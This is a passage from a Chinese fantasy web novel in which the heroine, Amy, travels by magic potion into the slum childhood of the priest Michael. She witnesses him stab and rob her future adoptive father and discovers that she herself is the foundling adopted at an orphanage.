“你做得很好,你将罪恶束缚了起来 。“米迦尔严肃得说。 艾米想要收回刚才的评价,因为将代表“婚姻”的意象称为“罪恶”,应该只是神官大人的夹带私货吧。 “你的我姑且称之为惩罚的行为,实际上带有忏悔的含义。”他静静地看着艾米,张口说道,“我们都清楚,你的行为会让他愉悦,这并不是一种严格的惩罚,如果发生在别人身上,我会认为这是一种罪恶的引诱。” “他在引诱你。” 艾米耳朵红了。 “但在梦里你主动提出了退婚,所以我更倾向于另外一种解释。你潜意识想要摆脱这种婚姻的束缚,但你又会担心你的反抗反而被对方利用或不被重视,因此你主动结束关系,渴望回到自由的状态。” 米迦尔皱眉:“他想利用你们之间的婚姻做什么?” 艾米倒吸一口气,甚至都没在意神官大人正悄悄捏她腰上的软肉。 “你说得也太对了!”她瞪大眼睛,赞同地点头,“他确实别有用心,而我也一直忐忑是否要主动退婚本来我是打算等他提的,但就目前来看不宜拖得太久了。” “这也正是我好奇的地方。” “你对他很宽容宽容到令我嫉妒。” 米迦尔的手臂紧紧揽着她,现在这触感变得清晰,炽热的温度透过薄薄的衣服传来,艾米开始感觉到坐立难安。 “他在被你偏爱着。”肯定的语气,以及若有若无的委屈。 “你甚至愿意忍受他对你的不尊重,梦里也是,你惩罚他,也是用一种令我羡慕的方式。” “为什么呢?艾米,可以告诉我吗?为什么?” 因为愧疚。 艾米没有说出来,因为这背后是个漫长的故事。 “真不公平啊。” 短暂的安静之后,米迦尔用一句轻飘飘的抱怨结束了这段话,也轻飘飘地盖过了自己的失落。 和他的目光一样温柔- 托利亚的夏天实在太短暂了。 窗户开了一个不大的缝隙,夜晚的凉风卷起纱帘,已经开始带上冰冷的气息。 艾米躺在床上,翻来覆去睡不着觉,她爬起来赤脚踩在地毯上,想去窗台把窗户关上,路过沙发时,又看到被她塞进角落的娃娃。 白天米迦尔又检查了一遍,用一些她看不懂的光明法术,按理说应当不会再有意外。 但谁知道呢,毕竟她的体质异于常人。 重新爬上柔软厚实的床垫,艾米盯着床幔,还是睡不着觉。 可恶,为什么关上了窗户又开始觉得闷热?她挣扎着要不要再起来去留点缝。 果然由奢入俭难,这种日子已经过了十八年,她还是会在温度尴尬的季节怀念空调这种无论如何这辈子也见不着的东西。 艾米努力闭上眼,强迫自己关机,但脑海中却不由自主浮现神官大人委屈的轻叹。 ——于是她更睡不着了。 打开这段时间没怎么关注过的系统面板,除了洛克之外,其他人的好感度都接近了一百,羁绊值攒了满满的数值,足以把商店一次性清空。 按理说,她已经不再需要每天从可攻略对象身上“刷日常”,就已经快打通这个游戏了。 但“日常”之所以被称为“日常”,就是它已经成为自己生活的一部分。 即使没有羁绊值,她也会晚上加班时找亚兰吃夜宵,清晨起床时站在窗边和庭院里锻炼的雷尔夫打招呼,或者下午散步时路过教堂,去讨一杯热茶。 又或者像今晚这样,因为米迦尔若有若无的委屈而失眠。 这可能就是“羁绊”的意义。 她点开商城,指尖在回溯药水和入梦药水之间纠结。 神官大人的这两瓶药水都还没有使用过,她也许可以进入一次他的梦,身体力行地告诉他,什么叫受魔法影响的梦;也可以回到他的童年,虽然他会忘记这一切,但凡是倾注了感情的记忆,总会留下痕迹。 这也是她第一次,既不是为了攻略、也不是为了探寻过往,而仅仅是想要对一个人了解得更多一些,才选择兑换的药水。换句话说,这是一次不在乎奖励的选择。 犹豫片刻,她选择了其中一瓶。 天旋地转之后,艾米出现在了陌生的巷道口,一盆脏水泼在她的脚下,还没来及避开,头顶的晾衣杆又打到了她的肩膀。 这里是内河和城墙交汇形成的冲击地带,昨夜暴雨带走了一些肮脏的垃圾,但湿漉漉的地面也进一步增强了泥泞感,艾米每次抬起脚,都感觉自己的鞋底黏黏糊糊不知踩到什么软烂的沉积物。 不过她已经体验过南境闷热潮湿的环境,最起码这里没有那种发酵后混合着香料的古怪气味。 这里是米迦尔的童年,他在贫民窟长大,想必应当就在附近生活。 除了高塔上的布利斯少爷,进入其他人的过去,首要的难题都是去哪能找到他们。这里道路狭窄,仅仅一两分钟,艾米就被穿着草编鞋子和破旧袍子嬉戏打闹的小孩撞到了好几次,幸好他们都是些半大的孩子,又玩在兴头上,没在意自己怎么办会忽然撞到空气里的不明生物,最多疑惑地打量一遍四周,就再次高高兴兴地跑开了。 艾米也顺着这条街巷观察起左右两边的棚屋。这些半腐的烂木头搭起的屋子透着霉气,黑色的污渍不均地爬满门窗下的墙根,大家都挤在外面,因为屋内盛不完这么多人,年轻的母亲背着孩子,坐在门槛上缝衣服,那个位置有着仅有的漏进来的一缕阳光,刚好照在她的手臂上。 米迦尔十来岁才被圣殿接走,在此之前,他在这种地方生活了十年,还带着自己的弟弟,从时间上来算,现在沙利希恩应该还没出生,在这里应该只能找到他一个人。 不知道他的童年是怎么度过的?艾米倒是没有非常担心,毕竟这位大人六岁就学会了杀人,而据他的弟弟来说,米迦尔甚至在喂饱他之后还有多余的面包用来做善事。 街道错综复杂,每条小巷看起来又这么相似,不过走了一会,艾米就有点记不清自己过来的路了。 她站在路中央左右张望,试图寻找刚才扫过的面孔、或有点印象的房门。 就在这时,一个穿着显得格格不入的男人闯进了她的视野。 有意遮掩的深色长袍没有一丁点污渍,厚实的版型一打眼就能看出绝非是出自贫民窟布料。 男人似乎也在寻找着什么。 艾米快步上前跟在他的身后。 然后在他拐弯时看到了一张熟悉的脸。 那是她的父亲,年轻的克莱恩先生。 第104章 第104章“不可含怒,要宽恕。…… 年轻的克莱恩先生更为挺拔瘦削,但现在他却佝偻着肩膀,努力将自己的脸隐没在帽檐之下。尽管身穿黑色的外袍,但艾米还是留意到他腰间的皮质腰带上绑着银质的搭扣,这是只有贵族才会穿的配饰,很明显,父亲有意遮掩自己的身份,但并不完善,如果莉亚在这里,她只需要扫过一眼,就能看出面前这个男人是附近这片最肥的羊。 艾米小心谨慎地和他保持着一臂的距离,心底有点忐忑。 父亲来这里是做什么的?他是来和什么人进行秘密会面的吗?那个人会是自己的母亲吗? 一想到这种可能性,她的呼吸都不由自主地放缓了。 “喂!当心!” 克莱恩先生的面前忽然传来瓷器破碎的声音,原来是不知道谁从二楼丢下的垃圾径直砸在地面,狭窄的街巷内,除去两旁摊贩伸出来的货架,仅供人通行的地方也就那么一点。 他被突如其来的坠物吓了一跳停下了脚步,艾米紧随其后来不及躲避也整个撞上,于是克莱恩先生困惑地左右打量,然后揉了揉被撞得酸痛的肩膀。 这么一个小插曲之后,新的岔路口出现。年轻版本的克莱恩先生彻底暴露了自己的外来者身份,他谨慎地犹豫了片刻,才选择了其中更为狭窄的那条。 一走进去,周围顷刻暗了下来。阳光在这个街区是奢侈品一样的存在,遍布污渍的墙根处永远布满潮湿的菌斑,散不去的腐臭味丝丝飘进鼻腔。 就在这时,巷口阴影处不知从哪窜出来一个裹着破旧麻布的男孩,和艾米在外面看到的男孩一样的打扮,像小炮弹一样横冲直撞的气势,克莱恩先生和她一样都侧过了身体,以便在这条过于狭小的通道里让出两人对向并行的空位。 但接下来发生的事情让两个人都猝不及防。 男孩在路过克莱恩身侧的时候,忽然从怀中掏出匕首捅了进去,锐利的刀片撕裂衣服时有一 丝顿感,然后很快便顺势扎进了腰腹部。克莱恩先生惊讶地瞪大了眼睛,甚至还没来及发出声音,就踉跄着靠上了墙壁,捂着渗血的部位身体缓缓向下滑落。 黑呢外袍裂开的口子露出里面浅灰色带绣纹的马甲,但现在上面全被血迹染红了,男孩瘦的见骨的手指正从麻布下伸出来,熟练地翻找着男人身上的钱袋,将他能解开的所有银质的扣子用力拽掉,整个动作如行云流水般迅速。 短暂的愣神后,艾米下意识便冲了过去,却仍然没能拦下行凶者。他的动作很快,拿完东西后就再次狡猾地从原路逃窜,像老鼠一样不知道钻进了哪条巷子里。 父亲的手指还在用力按压着伤口,血从指缝间溢出,艾米匆匆沿着刀口的位置撕开他外袍的布,然后扶着他的腰部小声说,“克莱恩先生,能坐起来点吗?我搀扶不住你的身体。” 克莱恩还没从刚才的惊讶中走出来,就陷入了另一种不可思议的境地,他眯着眼睛左顾右盼,开始怀疑自己因为失血而神志不清。 “你看不见我,但是我真的是在帮你!你现在需要包扎!”艾米又急又重地说着。 男人借着无形的倚靠艰难地挪动了片刻,松开了按在腰上的手,任凭长条布料在自己身上缠裹。两人都不是有着丰富受伤经验的人,因此包扎的过程也并不顺利。 “你可能需要——” “你到底是——” 他俩同时张口,然后又同时停下,父女俩露出了相似的客气和礼貌。 艾米顿了一顿,看着自己似乎聊胜于无的包扎,小心翼翼再度询问,“你可能需要别人的帮助。你还有力气吗,我先搀着你走出小巷,找个正经的医生。” 克莱恩也恰有此意:“所以究竟是只有我看不到你,还是其实所有人都看不到你?” “实际上所有人都看不到我。”艾米将父亲的胳膊放在自己的肩膀,用力撑起他的身体,“您现在还好吗?” 她说话时不由自主带上了尊称。 “我没什么问题。”一开始惊讶之后,克莱恩先生反而表现得十分平静,“我出门前曾为自己占卜过,有波折,但还算顺利。” “看样子现在就是那个波折。” 艾米点点头,然后想到父亲看不到自己的动作,赶紧补上了一个嗯。 “我记得过来不远处就有一家药店。等下出去后,你可能要自己找其他人帮你,可以吗?”她细心解释,“您看,我很难解释自己为什么是隐形的。” “没问题。”克莱恩的声音虚弱,思维却还算清晰。 没几步路的功夫,艾米就搀着他走出了小巷,沿着墙根朝药店的方向继续挪动,看见招牌的时候,克莱恩自己喊了老板出来。很快,一个精壮的中年人接手了他。 艾米不放心地站在旁边,考虑到克莱恩先生看不到自己,所以她每过一会就拨动一下门口的风铃,试图发出点声响来证明自己的存在。 “今天的天气有点怪。”老板边给他上药边随口说道,“总窜来莫名其妙的邪风。” 克莱恩朝着风铃的方向露出一个有点惨白但带有安抚意味的笑。 他身上的大部分值钱东西都被刚才那小子抢完了,只剩下马甲内袋里男孩还没来及翻找出来的怀表,这是因为对于不熟悉的人来说贵族衣服的样式过于繁琐。于是克莱恩用它支付了医药费。 等到两个人重新回到隐蔽无人的巷口,艾米主动开口,充满担忧地关心道:“不管您今天准备来做什么,现在都最好先回去休息。或者您应该去找个光明法师,先解决自己身上的伤口。” 克莱恩沉默片刻。 “谢谢,善良的小姐。不知道您为何帮我,但是谢谢,我会好好考虑您的建议,但在此之前,我能先知道你的名字吗?” 艾米没有说话。 “您还在吗?”他低声追问。 “还在。” 大概是意识到对方并不想说,克莱恩换了个方式询问:“或者说,如果我想报答您,明天要怎么找到你呢?” “如果你明天还来的话,我会来找你。” 克莱恩点头,微微欠身,这动作会扯到伤口,但他仍然坚持完成了礼貌的道别。 “我明白了,谢谢您。” 他静静在原地等待了一会,直到空气中若有若无的呼吸声彻底消失- 艾米不忘自己的目的。 这是米迦尔的童年,而现在,她甚至还没找到他。 以初始地为原点,她已经将附近走了个遍,但仍然一无所获。偶尔她会将脸伸到每个她觉得有可能是米迦尔的男孩面前,却遗憾的发现每个人的目光都轻飘飘地从自己面前掠过。 天色逐渐暗了下来,艾米也开始焦躁不安,如果再没有进展,她首先要解决自己今晚住在哪里的问题。 这片没有旅馆,也没有空余的床位,屋内比屋外更逼仄,有的家庭里四五个孩子并排挤在一张木板床上,他们的脚都外悬着,随便找个椅子搭着,而那些没有亮起烛火的屋子更为阴森,一进去就是一股扑鼻的臭味。 幸好还有个小教堂。 感谢光明神,艾米打算今晚在里面的长椅上休息一下。最起码这里干净整洁,也更安全些。 小教堂里只有一个上了年纪的主教,他是普通的圣职人员,不会法术,就睡在主教台后面的小房间里,艾米去他的厨房看了一眼,一个小小的铁锅里一丁点食物碎屑都没有,壁橱空得跟她的胃一样。 她摸了摸饥肠辘辘的肚子,曲起腿啃着刚从外面偷拿的面包,又硬又难吃的黑面包几乎可以当成砖头来用,挣扎了片刻,她觉得自己应该还可以再饿两顿,同时后悔自己忘记让克莱恩明天带点吃的给她。 夜晚,空旷的中殿安静得连风声都听得到,艾米蜷缩着躺下,贴着坚硬的木板怎么也睡不着。 她有点后悔自己的决定,为什么一开始不选择去神官大人的梦里呢?最起码那地方有舒适的软垫。 忽然,伴随着木门推开的沉闷声响,细碎的脚步声从门口传来,压低的呼吸声在空气中逸散,近乎风,又令人无端紧张。 艾米的心提了起来。 其他人看不到自己,因此按理来说她应当是安全的,而教堂这个地方天然会拦下大部分异种 或恶灵,又多了一层防护效用。她一边自我安慰,一边将身体缩得更紧,瑟瑟发抖地猜测黑暗中靠近的生物是什么。 脚步声越来越近了,她用力闭紧双眼,试图以此对抗只会徒增恐惧的想象——直到刺痛从手背传来,她惊吓得叫了起来。 “啊!” 手背的皮肤被火焰燎了一下,那小块地方立刻冒出裹着黏液的细软小泡。艾米惊讶地瞪大了眼睛,目光直直地和举着烛台蹲在自己面前的男孩撞上。 他刚才就是用手里的东西烫的自己。 “你——”她借着烛光看自己的手,又惊又气,语无伦次地不知说什么好。 男孩顶着一张天真的脸,却做着残忍的举动,他倾斜烛台,又用火燎了一下艾米胳膊,好奇地继续观察她的反应。 “你在做什么!”她忍不住大喊。 “观察你。”男孩终于开口说话,“你是人类吗?” “我当然是!”因为刚才的声音太大,艾米强忍着怒气压低声音回复,“所有人被火燎到都会疼!” 男孩却摇摇头:“不一定,半兽人的皮肤很厚,他们就不会被这点温度烫到。” 艾米觉得不可理喻,他怎么能这么淡然地对着第一次见到的人就做出伤害对方的举动?可紧接着,更令她目瞪口呆的事情发生了。 他从怀里掏出匕首,语气平静就像医生提出诉求:“我要检查一下你的皮肤划开后是不是和人类一样流着血。” 艾米直接跳上了椅子:“离我远点!” 两个人的争执终于引来了主教的注意,他端着一个更大的烛台出现在圣坛后,眯着眼睛,看着屋内另外一处闪着烛火的地方。 “米迦尔?”他沙哑的嗓音轻轻唤着,“你一个人对着长椅在说什么?” “这里有邪祟。”米迦尔回头,认真地说。 主教皱眉:“这里是教堂。” 艾米抬脚跨过椅背,翻到离米迦尔更远的地方。 “但这里确实有非人的东西。”他指着艾米的方向,“你看不见她?” 主教却先一步看到他手中的匕首,手柄还有新鲜的血迹,他叹了口气:“愿主饶恕你的罪孽。米迦尔,告诉我,你今天干什么去了。” “没干什么,我只是去偷了几块面包。”米迦尔垂下脑袋,盯着自己的脚尖,不紧不慢地回答。 艾米才留意到那把匕首有点眼熟,她恍然意识到,面前的男孩正是白天抢劫克莱恩,还捅了他一刀的人。 主教的声音严厉了起来,“过来,你必须要为此受到惩罚。” 男孩的喉间传来极轻的笑声:“那是个有钱人,有钱人的钱永远也偷不完的。而且我只捅了他浅浅的一刀,旁边就有药店,他死不了的,出去找个圣殿的光明法师,就能轻松痊愈。” “对吧?”他对着艾米的方向发问,很明显,他躲在暗处看到了后面发生的一切。 “爱人应当如爱神和爱己。”主教轻叹着说:“米迦尔,不可伤害别人。” “埃文神父。”米迦尔喊出他的名字,“我恰是这么做的,我就像爱己一样爱他的。” 他调转匕首,径直在自己的手臂上划下,血顺着伤口沿着腕流下。 艾米已经被米迦尔接二连三的举动震惊了。 很明显,主教已经习惯了他的脑回路,他没有再说什么,只端着烛火,隔着几排椅子静静地和他对峙。 “不可含怒,要宽恕。”米迦尔继续诵念着《三圣经》里的语句,语气轻挑,“你应该宽恕我,就像神会宽恕我一样。” 主教深吸一口气,能看得出来,他也在极力忍耐:“停下。” “过来吧。”他的声音不似刚才严厉,多了几分柔软:“你需要先洗干净罪责。” 米迦尔却仍然一动不动。 “先等等。”他的眼睛再次对准艾米,满不在乎地用衣袍擦了擦匕首的刃:“这里有比我罪孽更深的邪祟要先处理。” 第105章 第105章算了,跟你也说不清楚…… 有没有搞错! 艾米无声尖叫。 为什么这小子无论是过去还是未来每次见到她就想杀她啊! 她又犯了什么错! 幸好主教并没有理会他的发疯,说了很是中肯的话。 “这里是教堂,我相信如果有你所说的非人生物进来,那么他应当也是心存善念,被神宽宥着的。” 艾米在心底再次认真地感谢了光明神的宽宏大量。 米迦尔又瞥了她一眼,然后默不作声,像是认可了对方的这番话。 老主教举起手中的烛台,微弱的烛光映照在他困倦布满皱纹的年迈的脸上。 “如果你要继续待在这里,先去把你身上的血迹洗干净。”他叹了口气,没再多说什么。 空旷的中殿安静了下来,艾米隔着两条长椅紧张地盯着同样在注视着她的米迦尔,脑中浮现不合时宜的笑话——被猫勾住尾巴的老鼠在想什么?妈妈今晚别做我的饭了——她现在就很想这么和克莱恩先生说。 在对方意味不明的审视中,艾米最终主动张口服软:“你看,主教都说我是无害的了我只是无家可归,想找个地方待一晚而已。” 米迦尔露出了不耐烦的表情,很是稀奇,完全不像十几年后总是温文尔雅、和善友爱的神官大人,他甚至连多余的眼神都没再给她,径直穿过长椅,朝里面走去。 艾米的逆反心理反而上来了,她从椅子上跳下来,接连跨过障碍物,跟在了他的身后。 “我对你没兴趣了,别来烦我。”米迦尔不客气地说。 但我对你有兴趣,艾米心想。“你刚才还要划开我的皮肤检查检查我的血肉呢,你说的话我一个字也不会信的。”她抬起手背,那块被火撩起的水泡还在上面,“况且,我可是亲眼看到你是怎么抢劫的,眨了下眼就把刀捅了进去,干净利索,一点不拖泥带水我很爱惜的我的生命的。” 米迦尔没理她,却也没再做出驱赶的动作,毫不在意地进了小厨房,从怀里掏出了长条的黑面包塞进了空荡荡的橱柜里,他似乎是没打算原路返回,直接翻上了厨房的窗户,准备就这么出去。 就在这时,寂静空荡的夜晚响起了清脆且急促的铃声。 叮铃铃,叮铃铃,回荡在空无一人的教堂里,就像是恐怖片的配乐。 米迦尔停下了动作,再次发出不耐烦的啧声,他熟练地从墙头跳了下来,越过艾米,擦着火石点亮刚才被他掐灭的烛台,推开了内侧的厨房小门,沿着狭窄的走廊走去,熟练得像是被铃声召唤的一样。 走廊应当连接着教堂的后门,踩在翘起的木质地板上,艾米已经提前感受到空气流动的夜晚凉风,墙壁上挂着一幅幅古老的油画,是历届主教的画像,此刻在昏黄的灯光下,每张脸都显得露出一模一样的神秘微笑。 米迦尔的脚步匆匆,因此艾米也跟得很紧,既然他不耐烦对她说多余的话,那么艾米就自动当成这是欢迎她的意思。教堂的后门她白天的时候从外面见到过,一扇小小的木门,仅留一人通过,但她没见过的身,旁边墙壁半身高的位置,向外伸出一块半弧形的木质窗台,用木板包裹着可以左右滑动,不知是用来做什么的。 但很快她的疑问就得到了解答。 此刻米迦尔就站在这窗台的内侧,墙壁上同样开着一个半弧形向内伸的窗台,木板门对于艾米来说刚好到腰际,但对于还是个孩子的米迦尔来说就有点高了。 “喏。”米迦尔举起灯台,站在一旁示意她,语气仍然不怎么客气:“打开门看看。” 艾米不知道他要做什么,因此有些犹豫,见状米迦尔又催促了一遍,让她快点打开,还抬起手把烛台递了过去。 艾米用了点力气拽开有些钝的木板,眼睛惊讶地越瞪越大。在那旋转木台上方,正躺着一个襁褓中的婴儿,微弱的烛火照亮了他黑玛瑙一样好奇的眼睛,小小的手攥成拳头,正在轻轻地追着火焰投下的影子。 “死的还是活的?”米迦尔靠在墙壁,不耐烦地问。 艾米小心翼翼地伸出食指触碰婴儿的手,获得了一丝微弱的互动。 “活的应该是活的吧。” “活的就抱出来吧,放那边篮子里,等白天埃文神父会处理的。” “处理”艾米声音发颤,不确定地反问:“怎么处理?” “当然是送去育婴院啊。” “等等”米迦尔刚准备离开的脚步站定:“你在想什么?该不会是以为用他们献祭或炼金吧?你是南境人?” 艾米表情僵硬。 不能怪她,她刚从二十年前的布佛里托回来,一时间有些思维定势也是在所难免的。 米迦尔面无表情地掀起眼皮,第一次主动解释道:“王城在光明神的庇佑下,没有黑魔法师敢在这里胡作非为。” 同时,艾米隐约发现,似乎自己表现得越弱小无知,米迦尔的敌意和戾气就会越小,就像是通过这些细节确认她的无害性一样。她从台子上抱起宝宝,放在后门处的竹篮中,那里提前垫好了软布,上面还有浅浅的凹痕,似乎是上一个孩子躺过留下的痕迹。 “这样就 好了吧?” 等她抬起头的时候,米迦尔已经不见了。 只留下后门开合带起的凉风- 艾米最后还是在教堂的长椅上勉强休息了几个小时,因为又冷又硌,所以几乎没怎么睡着。 回想起来,这几次回溯只有布利斯的童年是舒服的,小少爷一个人独占巨大且柔软的床垫,还有仆人送来新出炉的甜点蛋糕,简直比她自己在领主府的日子还好;而埃克森虽然是矿工的孩子,但总有遮风挡雨的房屋和针脚细密的厚实棉被,两个人从旅馆厨房偷走了一大堆食物,配上洋葱鲜蔬汤,好几天都没吃完。 谁能想到这次竟沦落到如此境地,就算她因为隐身而能自由出入店铺和旅馆,可贫民窟的面包坊也只有邦邦硬的黑面包卖,而那些“旅馆”实际上都是用来做生意的场所,艾米感觉自己光是站在门口就会染上传染病。好容易找到个教堂,又被米迦尔用烛台烫了个水泡,就连最后疲倦涌上的时候,她都不敢睡得太死,生怕那小子又神不知鬼不觉地出现,给自己捅一刀。 直到晨曦透过教堂的窗格落到长椅上,艾米终于在光亮中逐渐清醒了过来——并在意识回笼之后用力捂住了嘴。 她顺着面前的腿向上看去,是穿戴整齐,双手交叠站在自己面前的埃文神父。 隐身失效了?她第一反应去看他的眼睛,却发现他并没有跟随自己的视线,目光并不聚焦,只大概地落在一片区域之上。 艾米小心翼翼地从椅子上坐起,越是怕什么来什么,翻身时不可避免地发出吱嘎作响的声音。 “睡醒了吗?”埃文神父忽然开口询问。 艾米不敢说话。 “希望昨晚米迦尔没做出什么伤害你的举动。”他的语气平和,“多谢您从弃婴台上取下了那孩子,稍后我会把他抱去育婴院。” 埃文神父似乎并不是一定要听到艾米的回复,他只是主动释放自己的善意:“如果您今晚还是无处可去,再回到这里也是可以的,光明神会庇佑每个找不到家的人类。” 老人褶皱的面皮短暂地舒展开,礼貌地对着一团空气微微点头,像是在和她致意。 “弃婴台是用来接收弃婴的?”大约是神父的善意让艾米放松了下来,她主动和他攀谈起来。 埃文神父点点头,温和地笑着:“原来您是位小姐。没错,那是用来接纳弃婴的地方,您应当能看得出来,这个街区并不是所有人都养得起孩子。在我修建这个弃婴台之前,河里经常漂着淹死的婴儿。最起码现在来说,他们还是多了一种选择,是吧?” “米迦尔也是弃婴吗?”艾米好奇问道。 “是。”神父迟疑着张口,主动为他讲起了好话,“那孩子的性格有点古怪,但脾性并不坏。小姐,您可能并不清楚,在这个街区生活下来,有时候是很不容易的。” 艾米连忙附和:“我完全理解。我只是好奇他这么小,是怎么在这里生活的呢?” 神父吞吞吐吐的神情显得有些难以启齿:“和其他这么大的孩子一样。” “其实他很聪明,我想建议他去做个学徒,学门手艺,或者直接留在我身边,这样等到中央圣殿的神官过来时,我可以推荐他去教会学校学习。” “但他的想法我捉摸不透,最关键的是,他脾性暴戾,教会学校可能不会收下他,而放任他在街区混,我又担心他会连那点难得的善良也磨损得一干二净。” 艾米想起自己第一次见到莉亚时的心情,不由得和面前的神父共情了。 这大概是养孩子都会产生的烦恼。 “这么大的孩子刚生出探索世界的欲望,又拥有天赋,确实是极为危险的。”她叹了口气,转而宽慰对方,“我能理解您的心情,但说不定他长大后就会变了呢?我们应当相信时间——呃,光明神的神圣之光对他的浸染。” 两人就着晨光又聊了那么一会。这是很难得的体验,艾米明明是为了米迦尔才穿越到十八年前的王城贫民窟里,却到现在都没见过两次目标,反而和这个时代的其他人建立了联系,无论是今天约着要再次见面的克莱恩,还是面前这位主教,他们都很快就接受了自己的存在。 “如果可以的话,我能陪您一起去育婴院吗?” “当然可以。”埃文没有丝毫犹豫地答应了- 育婴院就在教堂后面不远处,埃文神父提着竹篮走在这篇街区少见的干净石板路上。为了不引起其他人的注意,他每次回答艾米问题时都用手稍微遮掩着嘴,以免被当自言自语。 “这些孩子们都会去到哪里呢?”这是艾米最关心的问题,毕竟有这么个能够没有心理负担丢弃孩子的地方在,恐怕育婴院只会越来越拥挤。 这同样也是一个令神父头疼的问题:“大部分会像米迦尔一样,稍微大点就会去做学徒,女孩则是去学习纺织缝纫,做做针线活什么的。而那些聪慧或者被光明神眷顾的孩子,会被中央圣殿选中送去教会学校的话,就有机会成为圣职人员,或者留在教会工作。” “除此之外,只有那些极为幸运的家伙,会被信徒领养,带去新的家庭生活。” 艾米知道米迦尔会觉醒自己在光明法术上的天赋,但从目前来看,他还是个‘品行不良’的问题少年,即使埃文神父觉得他聪慧、天赋过人,也改变不了他会在圣殿的第一轮筛选中就被淘汰的无情现实。 阳光透过淡薄的云朵落在面前的建筑上,院子里,两名修女正合力抬着一个装满棉布的木桶,见到埃文神父后,其中一个瘦小的姑娘朝屋子的方向里高喊着“玛丽姑姑”,不一会,年长的女性神色匆匆地从台阶上走了下来。 “又是新的孩子?”她皱着眉头,响亮的声音刻意压低了下来,“男孩还是女孩?” 埃文神父将竹篮递了过去,“要麻烦您检查了,玛丽姑姑。” “光明神在上,你这种做法只会放任那些不负责任的父母丢更多孩子!”她对埃文神父在教堂后面设置弃婴台的事情一直非常不满。 “总好过在河道发现他们的尸体。” “你说得倒容易!”玛丽的语速很快,咄咄逼人,“总归不是你在照顾!” 神父脸上的褶皱更深了,他露出了几分类似讨好的笑:“中央圣殿下个月拨来的款我会全部送来的。” “这不止是钱的事,你知道要照看这么多孩子有多不容易吗?算了,跟你也说不清楚。”玛丽姑姑边说边拨开襁褓,确认竹篮里孩子的性别,“谢天谢地,光明神保佑,是个女婴。” “女婴?女婴怎么了?”埃文神父问道。 玛丽姑姑再次压低了声音,她伸长脖子把脸凑了过来,“恰好有个大人物,想在咱们这里领养一个健康的女孩呢!” 艾米站在院子中央,刚才遮蔽阳光的那朵云不知什么时候飘走了,缺乏绿化的光秃秃的庭院十分明亮,甚至有些刺眼。 她抬起头,微微眯起眼睛,看到玛丽姑姑刚才出来的那扇门又被推开了,一个戴着黑色宽边帽,帽檐遮蔽了半张脸的年轻男人从屋子里走了出来。 正是昨天有过一面之缘的克莱恩先生。 第106章 第106章我祝她自由。 艾米看了看他,又看了看玛丽姑姑怀里的女婴,一个不可置信的惊人猜测出现在了她的脑海中。 “这就是那位大人物?”埃文神父同样看到了台阶上的克莱恩,眉头轻蹙问道。 育婴院会优先将孩子送给有意向领养的信徒家庭——家庭,而不是个人,一般来说,这个词语通常指代的是夫妇,他们尽量避免贵族老爷的领养需求,单独出现的男性抚养者对孩子来说并不安全。 玛丽姑姑顺着神父的目光看过去,很快明白他的意思:“他?不。” 她摇头,补充道: “他只是大人物的管家而已。” 艾米先是困惑,后来又很快想通了关节,这应当是父亲对外宣称的身份。 玛丽姑姑手上仍然在检查女婴的健康程度,一边加快语速交代道:“总之,那位大人物是位刚失去孩子的母亲,因此她才想要个女婴,我知道的也就这么多,要我说,对于一个差点被丢进河道喂鱼的弃婴来说,她已经算是走大运了,更别说这位管家先生可是带着诚意来的,他会捐赠一大笔钱给我们,接下来一段时间我们都不用担心吃不饱饭的事了。” “先生!”她接过孩子,换上了更为热情和恭敬的态度,向克莱恩先生走去。 而艾米却琢磨着这段话,站在了原地。 能让身为御前大学士的父亲做事的大人物,就只有王宫里的那几位,结合“一位刚失去孩子的母亲”的描述,她的身份已经呼之欲出。 克莱恩是受前任王后所托,来王城的贫民窟里,寻找一个适龄的、健康的女婴,而此事自然也是在现任国王的应允下进行的,一位刚失去了丈夫、又失去了孩子的前任王后,就算想要领养一个女婴当做自己死去女儿的替代品,自然也是掀不起什么风浪的。 只是后来没多久,孱弱的王后就去世了,恐怕也就是那时候,克莱恩先生接过了这个自己亲自从育婴院领养的女孩,尽心尽力地当成自己的女儿抚养。 原来这就是故事的始末。 艾米甚至想得到,沉浸在悲伤中的妮可拉王后应当为领养筹备了私密但齐全的仪式,其中甚至包含了关于继承权的部分,让她能通过先祖画廊的血缘限制,成为这个家族的一份子,如果她没去世的话,自己可能真的会成为一个真正意义上的公主,享受着几乎是这块大陆最顶端的奢华殊荣——但代价是,几乎是永远地被困在皇宫里。 她远远地看到克莱恩似乎在和玛丽姑姑说着什么,他接过孩子,看起来并不是很满意的样子。稍微走近了些,两人的对话飘进艾米的耳中。 “你的意思是说,这孩子是昨晚被遗弃在教堂门外的?” “是的,先生,您瞧,她握紧的拳头多么有力,我都很难掰开呢!”玛丽姑姑轻晃小女孩的手腕,语气得意:“光明神保佑,您的祈求一定是被祂听到了,才送来这么个健康的好孩子。” 这时,一位修女喊了玛丽姑姑一声,似乎是有什么要紧的事情需要她快速去看一下,于是她只好先将客人丢下,匆匆交代几声就先离开。 艾米大概能理解父亲的皱眉,他们朝夕相处了十八年,对彼此都太过熟悉。 因为这一切太过巧合,克莱恩先生不免担心这孩子的出现并不是“光明神的馈赠”,而是通过某些不好的手段达成的。 “您好。”趁四下无人,艾米赶紧小声地和父亲打了声招呼。 男人的肩膀猛得抖动一下,很明显也是被突然出现的声音吓了一跳,不过,他很快就反应过来,眉眼舒展,冲着声音的方向轻轻点头。 “你好,善良的小姐。” “您的身体怎么样了?伤口恢复了吗?” “多谢关心,已经没什么大碍了。” 简单的寒暄后,艾米不知道要说些什么,两个人短暂沉默了一会,直到克莱恩主动将怀里的女婴往外抱出了一点,露出襁褓里的小脸。 “你觉得这孩子怎么样?”他低声询问道。 “嗯很好?”艾米犹豫地张口回答。 “你喜欢她吗?”克莱恩又问。 “是。” “那就好。” 这就怎么好了?艾米感到困惑。 “谢谢,你的意见很重要。我会选择这个孩子带走。” 艾米终于忍不住问:“可我看你刚才还在犹豫不决,为什么?呃,我的意思是,为什么我的意见这么重要?” 克莱恩没有正面回复,转而谈及其他:“你想给这孩子送上祝福吗?” 艾米刚想触碰女婴的手指悬在了半空,语气带着惊喜:“我可以吗?” 这是件严肃的事情。在这片大陆的习俗看来,为怀里或刚出生的婴儿送上祝福的必须得是品德高尚、地位尊贵的人,艾米作为领主的时候经常为领地上的新生儿送出这样的祝福,但作为一个类似幽灵般的野鬼,收到如此郑重的邀请就显得令人意外了。毕竟对于克莱恩先生来说,自己也只是仅仅见过一面,不,甚至连面都没见过的陌生人,更何况如果这孩子即将成为王后的女儿,那多的是中央圣殿的大神官愿意排队为她送上祝福。 “当然可以,您昨天救了我,我相信光明神也会赞美您的善良。”克莱恩含笑点头。 